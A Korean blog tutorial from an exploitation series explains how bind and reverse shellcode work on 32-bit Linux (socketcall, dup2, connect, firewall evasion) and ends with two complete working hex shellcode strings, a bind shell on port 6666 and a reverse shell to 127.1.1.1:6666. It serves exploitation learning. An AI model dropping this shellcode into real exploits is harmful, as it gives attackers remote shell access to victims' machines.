상세 컨텐츠

본문 제목

03.Bind & Reverse Shellcode

Pwnable Exploitation/01.Shellcode

by RACC8N 2020. 5. 4. 15:15

본문

BACKGROUND

  • socket() 함수를 이용해 통신에 필요한 socket 생성
  • bind() 함수를 이용해 server socket에 필요한 정보를 저장하고 커널에 등록
  • listen() 함수를 이용해 클라이언트로부터의 연결 요청 대기
  • accept() 함수를 이용해 클라이언트 연결을 허용
  • struct sockaddr 과 struct sockaddr_in의 크기 비교 (16)

[C language]

- 프로그램을 실행시키면 6666 port가 열려있는 것을 알 수 있다.

* Bind shellcode (Socekt + "/bin/sh")

[C language]

int dup2 (int oldfd , int newfd );

- dup2 함수는 파일 디스크립터를 복제한다.

  • newfd 파일 디스크립터를 oldfd 파일 디스크립터에 복제한다.
  • 쉽게 설명하면 newfd 파일 디스크립터를 oldfd 파일 디스크립터에 링크한다고 생각하면 된다.
  • 즉, 이 함수를 이용해 클라이언트가 입력,출력을 사용 할 수 있다.
    • 표준 스트림인 표준입력(stdin), 표준 출력(stdout), 표준에러(stderr)을 client_sockfd에 복제

- 프로그램을 백그라운드로 실행 시키고, nc를 통해 6666 Port로 접속하게되면 /bin/sh이 실행됨을 알 수 있다.

Create Bind shellcode

- Assembly code를 작성하기 위해 Assembly code에서 네트워크 관련함수를 호출하는 방법을 알아야 한다.

  • 네트워크 관련 함수를 호출하기 위해 "__NR_socketcall" System call을 사용한다.

1.1 Check system call number : socketcall

- socketcall 시스템 함수는 다음과 같은 형태를 가진다.

  • 첫번째 인자에는 호출할 네트워크 함수의 콜 번호를 전달

  • 두번째 인자에는 호출한 네크워크 함수의 인자 값들이 저장된 인자 배열의 주소 값을 전달

int socketcall(int call, unsigned long *args);

- socketcall 시스템 함수의 첫 번째 인자 값 (/usr/include/linux/net.h)

- Socket 상수들의 값 (/usr/include/linux/in.h , /usr/include/bits/socket_type.h , /usr/include/bits/socket.h)

Constants Description Value of constants
PF_LOCAL, AF_UNIX 같은 시스템 내에서 프로세스 끼리 통신 1
PF_INET, AF_INET IPv4 인터넷 프로토콜 사용 2
PF_INET6 IPv6 인터넷 프로토콜 사용 10
SOCK_STREAM TCP/IP 프로토콜 사용 1
SOCK_DGRAM UDP 프로토콜 사용 2
IPPROTO_IP TCP용 더미 프로토콜 0

1.2 Check system call number : dup2

2. Assembly code

socket()
bind()
listen()
accept()
dup2()
execve()

3. Build & Run

- Bind Shellcode는 공격 대상에 Server 형태로 Port를 오픈해 클라이언트가 접속하는 방식이다.

  • 해당 방식은 방화벽이 적용된 시스템이 경우 쉽게 차단될 수 있다.

    • 일반적으로 방화벽은 알려진 특정 포트를 제외하고는 들어오는 연결을 차단한다.

    • 소프트웨어 방화벽을 이용해 간단히 설정 가능하다.

    • 즉, Bind Shellcode는 방화벽에 의해 차단될 가능성이 크다.

- 하지만 방화벽은 외부로 나가는 통신에 대해서는 자유로운 편이다.

  • 즉, 공격 대상이 나의 PC에 접속하도록 할 수 있다.

  • Reverse Shellcode는 Port를 열어서 연결을 기다리는 대신, 공격자가 지정한 IP,Port로 연결한다.

* Reverse shellcode

[C language]

int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);

- connect() 함수는 생성한 소켓을 통해 서버로 접속을 요청한다.

- 공격자(왼쪽)가 6666 port를 열고 타겟(오른쪽)이 Reverse Shell을 실행시키길 기다리고 있다.

- 타겟이 Reverse Shell을 실행시키자 공격자가 Shell을 얻었다.

Create Reverse shellcode

- 여기서 알아야 할 부분은 "server_addr.sin_addr.s_add"에 저장되는 값의 형태이다.

  • IP Address는 총 32bit이며, 8 bit 단위로 구분하여 표시한다.
  • 아래와 같이 Shellcode에서 8bit 단위로 IP Address를 표현한다.
  • 127.0.0.1은 127.1.1.1로 대체 가능하다.
IP Address 127.1.1.1
Hex 7f.01.01.01
Little-endian format 0x0101017f

1. Check system call number : connect

2. Assembly code

connect()

3. Build & Run

 

- Bind Shellcode

Port : 6666, length : 92

\x6a\x66\x58\x99\x6a\x01\x5b\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80
\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x1a\x0a\x66\x53\x89\xe1\x6a 
\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x53\x56\x89\xe1 
\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02 
\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x6a\x0b\x58\x52\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xcd\x80

- Reverse Shellcode

IP : 127.1.1.1, Port : 6666, length : 75

\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92
\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x1a\x0a\x43\x66\x53\x89\xe1
\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xd3\x6a\x02\x59\xb0\x3f
\xcd\x80\x49\x79\xf9\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xcd\x80

 

 

REF: https://www.lazenca.net/display/TEC/03.Bind+Shellcode

 

03.Bind Shellcode - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List Bind Shellcode C language 다음과 같이 C 코드를 사용해 Port bind 프로그램을 작성 할 수 있습니다.해당 프로그램을 이용해 지정된 Port를 사용 할 수 있습니�

www.lazenca.net

https://www.lazenca.net/display/TEC/04.Reverse+Shellcode

 

04.Reverse Shellcode - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List Reverse Shellcode Bind Shellcode는 공격 대상에 Server 형태로 Port를 오픈해 클라이언트가 접속하는 방식입니다.해당 방식은 방화벽이 적용된 시스템이 경우

www.lazenca.net

 

관련글 더보기

댓글 영역